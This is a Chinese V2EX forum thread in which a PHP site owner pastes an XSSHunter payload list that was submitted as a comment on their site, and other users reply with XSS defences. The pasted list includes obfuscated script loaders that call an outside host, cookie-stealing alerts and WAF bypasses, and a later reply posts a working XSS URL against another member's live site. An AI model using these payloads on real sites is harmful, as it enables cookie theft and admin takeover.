评论被人恶意提交代码,一直 alert

2021-03-23 18:30:04 +08:00
 l890908
自写的 php 英文站,评论有人提交这个代码,经过 htmlspecialchars 保存在数据表,今天点开后台评论管理页面,就一直弹 1,弹域名这些,并且发送了一些请求到乱七八糟的域名,本地断网测试一番又没发现问题,请大家看看有什么问题?

XSSHUNTER PAYLOADS "><script src=https://0xrohadi.xss.ht></script> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://0xrohadi.xss.ht\';document.body.appendChild(a)') "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; autofocus> "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))> "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61;> "><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;0xrohadi.xss.ht&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0xrohadi.xss.ht");a.send();</script> "><script>$.getScript("//0xrohadi.xss.ht")</script> <audio controls onprogress=alert(1)> <source src=xss.mp3 type=audio/mpeg> </audio> <iframe><textarea></iframe><img src="" onerror="alert`1`"> xsstest'">{{7*7}} %22%3E%3Cbase%20href=%22https://0xrohadi.xss.ht%22%3E <script%26gt Tanda kutip commbo %bf%27 "><svg><discard onbegin=alert(1)> Bypass WAF XSS path?p1=a%22><svg%20&p2=xxx&p3=a+onL0aD=confirm(document.domain)> <math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=alert(1)"> <form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form> //ciao\"};prompt();/*var asd=[{\"foo\":\"bar "'>< + + <svg/onload=alert(document.domain)> %22%27%3E%3C%0D%0A+%0D%0A+%3Csvg/onload=alert%28document.domain%29%3E <noscript><p title="</noscript><img src=x onerror=alert(document.cookie)>"> curl -i -s -k -X 'GET' \ -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' \ 'https://app.box.com/' JSON XSS MODIFY HERE {"id":"abcabc\"><svg/onload=confirm(1)>abcabc","name":"file-name"} abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e ”/>&lt;script>alert(1)&lt;/script&gt”/> >< ); alert(document.domain); if (1 ')-prompt('xss <img src=\"http://attacker-ip/?id= <svg></p><style><g title="</style><img src onerror=alert(document.domain)>"> \" onerror = \"alert(123)\" \" ';[confirm][document.domain];// " onmouseover="alert(1)" '/alert[/xss/]/' */confirm(1)/*
11583 次点击
所在节点    信息安全
64 条回复
KasuganoSoras
2021-03-24 11:47:33 +08:00
评论区别用 HTML 了,改 Markdown 吧,常用的比如 Parsedown 这些都支持过滤 XSS,只要你把 Safe Mode 打开就行,存入数据库之前记得先转义,不过你用框架的话应该已经自动帮你完成了这些事
gy0624ww
2021-03-24 12:04:32 +08:00
录入的时候不需要过滤,原样保存,提出来的时候你要做转义
1rror
2021-03-24 12:09:40 +08:00
关站吧 , 服务器可能已经没了
killerv
2021-03-24 12:33:31 +08:00
xss 防范不是在写数据的时候做的,而是读数据的时候,把内容转义为 HTML 实体。
zw1one
2021-03-24 14:40:27 +08:00
楼主网址发一下,我也去试试 xss [狗头]
Telegram
2021-03-24 14:45:54 +08:00
@l890908 #9
这叫 XSS,找找现成的防 xss 的过滤系统,客户提交时过滤掉。
理论上 javascript 能做的都能做到,就看对方构造的脚本功能如何了。
SingeeKing
2021-03-24 14:46:01 +08:00
l890908
2021-03-24 14:49:19 +08:00
@renmu123
@GeruzoniAnsasu
@1rror 对,服务器已经没了,网站数据都没了
FucUrFrd
2021-03-24 14:53:07 +08:00
cookie 是 httponly 的, 为啥偷 cookie???现在已经 2021 了
iSecret
2021-03-24 16:33:29 +08:00
@l890908 对于 XSS,Cookie 和 Session 没什么区别,Session 同样会设置 Cookie UID 。只要窃取了 Cookie 了就能直接访问你的后台,如果后台有上传功能或者直接编辑文件的功能,建议做一些过滤,另外系统重装吧,你也不知道有没有被写马。
DOLLOR
2021-03-24 17:21:07 +08:00
展示来自用户的 html 的富文本,可以放在 iframe 里,并开启 sandbox,可杜绝富文本里的 script 。
例:
<iframe src="./test.html" frameborder="0" sandbox></iframe>
参考:
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
LudwigWS
2021-03-24 17:42:09 +08:00
怎么会有这么无聊的人啊
jmk92
2021-03-24 17:47:01 +08:00
技术问题,技术解决,跟他肛
FucUrFrd
2021-03-24 21:10:49 +08:00
楼猪,管理员后台应该只能 127.0.0.1 登陆,然后 ssh proxy 到主机
realpg
2021-03-24 21:17:11 +08:00
技术不行就上通用过滤组件
rekulas
2021-03-24 21:30:57 +08:00
tp 自带了防范危险输入的安全函数估计你没用
FucUrFrd
2021-03-24 22:27:42 +08:00
@killerv 现在是前端就直接转码了,然后后端直接渲染,就是要渲染转码后的不需要跟用户输入一致
huZhao
2021-03-24 22:36:20 +08:00
楼主,可以参考一下我的。

https://www.vcodei.com

我知道,我不专业,

然后就直接把站的注册给关了,连注册都注册不了,还想评论?

然后文章内容都是公众号,想留言,评论,去公众号留言去,

有本事,把企鹅给干了,,,😂
jeblur
2021-03-25 09:33:06 +08:00
@huZhao 你也没做过滤把,搜索栏 xss 直接就弹了。。
hanssx
2021-03-25 10:17:46 +08:00
楼上老哥哥说得对,你这有反射型 XSS,没过滤 < >
@huZhao https://www.vcodei.com/?s=%3Cimg%20src=1%20onerror=prompt(1)%3E

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/764367

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX